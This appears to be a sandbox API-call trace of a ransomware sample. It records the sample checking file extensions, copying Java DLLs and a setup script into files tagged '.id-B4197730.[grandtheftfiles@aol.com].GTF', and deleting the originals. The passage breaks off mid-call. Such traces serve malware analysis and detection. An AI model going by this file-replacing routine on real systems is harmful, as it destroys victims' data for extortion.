	[0090.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 65
	[0090.180] lstrlenW (lpString=".dbf") returned 4
	[0090.180] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1
	[0090.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 65
	[0090.180] lstrlenW (lpString=".1cd") returned 4
	[0090.181] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1
	[0090.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 65
	[0090.181] lstrlenW (lpString=".jpg") returned 4
	[0090.181] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1
	[0090.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 65
	[0090.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 65
	[0090.181] lstrlenW (lpString=".doc") returned 4
	[0090.181] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1
	[0090.181] lstrlenW (lpString=".docx") returned 5
	[0090.181] lstrcmpiW (lpString1=".docx", lpString2="0.tlb") returned -1
	[0090.181] lstrlenW (lpString=".pdf") returned 4
	[0090.181] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1
	[0090.181] lstrlenW (lpString=".xls") returned 4
	[0090.181] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1
	[0090.181] lstrlenW (lpString=".xlsx") returned 5
	[0090.181] lstrcmpiW (lpString1=".xlsx", lpString2="0.tlb") returned -1
	[0090.181] lstrlenW (lpString=".ppt") returned 4
	[0090.181] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1
	[0090.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 65
	[0090.181] lstrlenW (lpString=".zip") returned 4
	[0090.181] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1
	[0090.181] lstrlenW (lpString=".rar") returned 4
	[0090.181] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1
	[0090.181] lstrlenW (lpString=".bz2") returned 4
	[0090.181] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1
	[0090.181] lstrlenW (lpString=".7z") returned 3
	[0090.181] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1
	[0090.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 65
	[0090.181] lstrlenW (lpString=".dbf") returned 4
	[0090.181] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1
	[0090.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 65
	[0090.181] lstrlenW (lpString=".1cd") returned 4
	[0090.181] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1
	[0090.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 65
	[0090.182] lstrlenW (lpString=".jpg") returned 4
	[0090.182] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1
	[0090.182] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0090.182] lstrlenW (lpString="deployJava1.dll") returned 15
	[0090.182] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\deployjava1.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0090.182] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=1026112) returned 1
	[0090.182] CloseHandle (hObject=0x390) returned 1
	[0090.182] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\deployjava1.dll")) returned 0x20
	[0090.182] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\deployjava1.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0090.182] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\deployjava1.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0090.182] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.183] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.183] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\deployjava1.dll.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0090.186] GetLastError () returned 0x0
	[0090.186] ReadFile (in: hFile=0x390, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x365fecc*=0xfa840, lpOverlapped=0x0) returned 1
	[0090.219] WriteFile (in: hFile=0x370, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0xfa850, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x365fc94*=0xfa850, lpOverlapped=0x0) returned 1
	[0090.744] ReadFile (in: hFile=0x390, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1
	[0090.744] WriteFile (in: hFile=0x370, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x365fc94*=0xf2, lpOverlapped=0x0) returned 1
	[0090.744] SetEndOfFile (hFile=0x370) returned 1
	[0090.745] CloseHandle (hObject=0x370) returned 1
	[0090.745] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.745] SetEndOfFile (hFile=0x390) returned 1
	[0090.753] CloseHandle (hObject=0x390) returned 1
	[0090.754] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0090.754] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\deployjava1.dll")) returned 1
	[0090.754] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll") returned 63
	[0090.754] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll") returned 63
	[0090.754] lstrlenW (lpString=".doc") returned 4
	[0090.754] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0090.754] lstrlenW (lpString=".docx") returned 5
	[0090.754] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1
	[0090.754] lstrlenW (lpString=".pdf") returned 4
	[0090.754] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0090.754] lstrlenW (lpString=".xls") returned 4
	[0090.754] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0090.754] lstrlenW (lpString=".xlsx") returned 5
	[0090.754] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1
	[0090.754] lstrlenW (lpString=".ppt") returned 4
	[0090.754] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0090.754] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll") returned 63
	[0090.754] lstrlenW (lpString=".zip") returned 4
	[0090.754] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0090.754] lstrlenW (lpString=".rar") returned 4
	[0090.755] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0090.755] lstrlenW (lpString=".bz2") returned 4
	[0090.755] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0090.755] lstrlenW (lpString=".7z") returned 3
	[0090.755] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0090.755] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll") returned 63
	[0090.755] lstrlenW (lpString=".dbf") returned 4
	[0090.755] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0090.755] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll") returned 63
	[0090.755] lstrlenW (lpString=".1cd") returned 4
	[0090.755] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0090.755] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll") returned 63
	[0090.755] lstrlenW (lpString=".jpg") returned 4
	[0090.755] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0090.755] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll") returned 63
	[0090.755] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll") returned 63
	[0090.755] lstrlenW (lpString=".doc") returned 4
	[0090.755] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0090.755] lstrlenW (lpString=".docx") returned 5
	[0090.755] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1
	[0090.755] lstrlenW (lpString=".pdf") returned 4
	[0090.755] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0090.755] lstrlenW (lpString=".xls") returned 4
	[0090.755] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0090.755] lstrlenW (lpString=".xlsx") returned 5
	[0090.755] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1
	[0090.755] lstrlenW (lpString=".ppt") returned 4
	[0090.755] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0090.755] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll") returned 63
	[0090.755] lstrlenW (lpString=".zip") returned 4
	[0090.755] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0090.755] lstrlenW (lpString=".rar") returned 4
	[0090.755] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0090.755] lstrlenW (lpString=".bz2") returned 4
	[0090.755] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0090.755] lstrlenW (lpString=".7z") returned 3
	[0090.756] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0090.756] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll") returned 63
	[0090.756] lstrlenW (lpString=".dbf") returned 4
	[0090.756] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0090.756] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll") returned 63
	[0090.756] lstrlenW (lpString=".1cd") returned 4
	[0090.756] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0090.756] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll") returned 63
	[0090.756] lstrlenW (lpString=".jpg") returned 4
	[0090.756] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0090.756] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0090.756] lstrlenW (lpString="fontmanager.dll") returned 15
	[0090.756] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fontmanager.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0090.757] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=274496) returned 1
	[0090.757] CloseHandle (hObject=0x390) returned 1
	[0090.757] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fontmanager.dll")) returned 0x20
	[0090.757] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fontmanager.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0090.757] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fontmanager.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0090.757] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.757] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.757] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fontmanager.dll.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0090.758] GetLastError () returned 0x0
	[0090.758] ReadFile (in: hFile=0x390, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x365fecc*=0x43040, lpOverlapped=0x0) returned 1
	[0090.767] WriteFile (in: hFile=0x370, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0x43050, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x365fc94*=0x43050, lpOverlapped=0x0) returned 1
	[0090.772] ReadFile (in: hFile=0x390, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1
	[0090.772] WriteFile (in: hFile=0x370, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x365fc94*=0xf2, lpOverlapped=0x0) returned 1
	[0090.772] SetEndOfFile (hFile=0x370) returned 1
	[0090.773] CloseHandle (hObject=0x370) returned 1
	[0090.773] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.773] SetEndOfFile (hFile=0x390) returned 1
	[0090.776] CloseHandle (hObject=0x390) returned 1
	[0090.776] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0090.776] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fontmanager.dll")) returned 1
	[0090.776] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll") returned 54
	[0090.776] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll") returned 54
	[0090.776] lstrlenW (lpString=".doc") returned 4
	[0090.776] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0090.776] lstrlenW (lpString=".docx") returned 5
	[0090.777] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1
	[0090.777] lstrlenW (lpString=".pdf") returned 4
	[0090.777] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0090.777] lstrlenW (lpString=".xls") returned 4
	[0090.777] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0090.777] lstrlenW (lpString=".xlsx") returned 5
	[0090.777] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1
	[0090.777] lstrlenW (lpString=".ppt") returned 4
	[0090.777] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0090.777] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll") returned 54
	[0090.777] lstrlenW (lpString=".zip") returned 4
	[0090.969] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0090.969] lstrlenW (lpString=".rar") returned 4
	[0090.969] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0090.969] lstrlenW (lpString=".bz2") returned 4
	[0090.969] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0090.969] lstrlenW (lpString=".7z") returned 3
	[0090.969] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0090.969] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll") returned 54
	[0090.969] lstrlenW (lpString=".dbf") returned 4
	[0090.969] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0090.969] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll") returned 54
	[0090.969] lstrlenW (lpString=".1cd") returned 4
	[0090.969] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0090.969] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll") returned 54
	[0090.969] lstrlenW (lpString=".jpg") returned 4
	[0090.969] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0090.969] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll") returned 54
	[0090.969] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll") returned 54
	[0090.969] lstrlenW (lpString=".doc") returned 4
	[0090.969] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0090.969] lstrlenW (lpString=".docx") returned 5
	[0090.969] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1
	[0090.969] lstrlenW (lpString=".pdf") returned 4
	[0090.969] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0090.969] lstrlenW (lpString=".xls") returned 4
	[0090.969] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0090.969] lstrlenW (lpString=".xlsx") returned 5
	[0090.969] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1
	[0090.969] lstrlenW (lpString=".ppt") returned 4
	[0090.969] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0090.969] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll") returned 54
	[0090.970] lstrlenW (lpString=".zip") returned 4
	[0090.970] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0090.970] lstrlenW (lpString=".rar") returned 4
	[0090.970] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0090.970] lstrlenW (lpString=".bz2") returned 4
	[0090.970] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0090.970] lstrlenW (lpString=".7z") returned 3
	[0090.970] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0090.970] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll") returned 54
	[0090.970] lstrlenW (lpString=".dbf") returned 4
	[0090.970] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0090.970] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll") returned 54
	[0090.970] lstrlenW (lpString=".1cd") returned 4
	[0090.970] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0090.970] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll") returned 54
	[0090.970] lstrlenW (lpString=".jpg") returned 4
	[0090.970] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0090.970] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0090.970] lstrlenW (lpString="hprof.dll") returned 9
	[0090.970] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\hprof.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) 

Thread:
	id = 18
	os_tid = 0x380

	[0062.064] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x10000) returned 0x3271258
	[0062.065] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x10000) returned 0x3281260
	[0062.065] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x10) returned 0x77c590
	[0062.065] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x6) returned 0x7ad0e0
	[0062.065] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x10) returned 0x77c698
	[0062.065] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x100000) returned 0x3c4a020
	[0062.068] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x10) returned 0x77c4d0
	[0062.068] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x77c4d0, Size=0x20) returned 0x75eb60
	[0062.068] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x10) returned 0x77c458
	[0062.068] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x77c458, Size=0x20) returned 0x75eb88
	[0062.068] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x772d0000
	[0062.068] GetProcAddress (hModule=0x772d0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x772e6b30
	[0062.068] Wow64DisableWow64FsRedirection (in: OldValue=0x379ff50 | out: OldValue=0x379ff50*=0x0) returned 1
	[0062.068] lstrlenW (lpString="kernel32.dll") returned 12
	[0062.068] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x75eb60 | out: hHeap=0x720000) returned 1
	[0062.068] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0062.068] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x75eb88 | out: hHeap=0x720000) returned 1
	[0062.068] Sleep (dwMilliseconds=0x64) 
	[0062.407] lstrcmpiW (lpString1=".cmd", lpString2=".GTF") returned -1
	[0062.407] lstrlenW (lpString="PartnerSetupComplete.cmd") returned 24
	[0062.407] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0064.500] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=577) returned 1
	[0064.500] CloseHandle (hObject=0x314) returned 1
	[0064.500] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd")) returned 0x20
	[0064.500] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0064.500] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0064.500] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0064.500] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0064.500] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318
	[0064.500] GetLastError () returned 0x0
	[0064.500] ReadFile (in: hFile=0x314, lpBuffer=0x3c4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesRead=0x379fecc*=0x241, lpOverlapped=0x0) returned 1
	[0065.087] WriteFile (in: hFile=0x318, lpBuffer=0x3c4a020*, nNumberOfBytesToWrite=0x250, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesWritten=0x379fc94*=0x250, lpOverlapped=0x0) returned 1
	[0065.088] ReadFile (in: hFile=0x314, lpBuffer=0x3c4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesRead=0x379fecc*=0x0, lpOverlapped=0x0) returned 1
	[0065.088] WriteFile (in: hFile=0x318, lpBuffer=0x3c4a020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesWritten=0x379fc94*=0x104, lpOverlapped=0x0) returned 1
	[0065.088] SetEndOfFile (hFile=0x318) returned 1
	[0065.088] CloseHandle (hObject=0x318) returned 1
	[0065.089] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0065.089] SetEndOfFile (hFile=0x314) returned 1
	[0065.090] CloseHandle (hObject=0x314) returned 1
	[0065.090] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0065.090] DeleteFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd")) returned 1
	[0065.090] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46
	[0065.090] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46
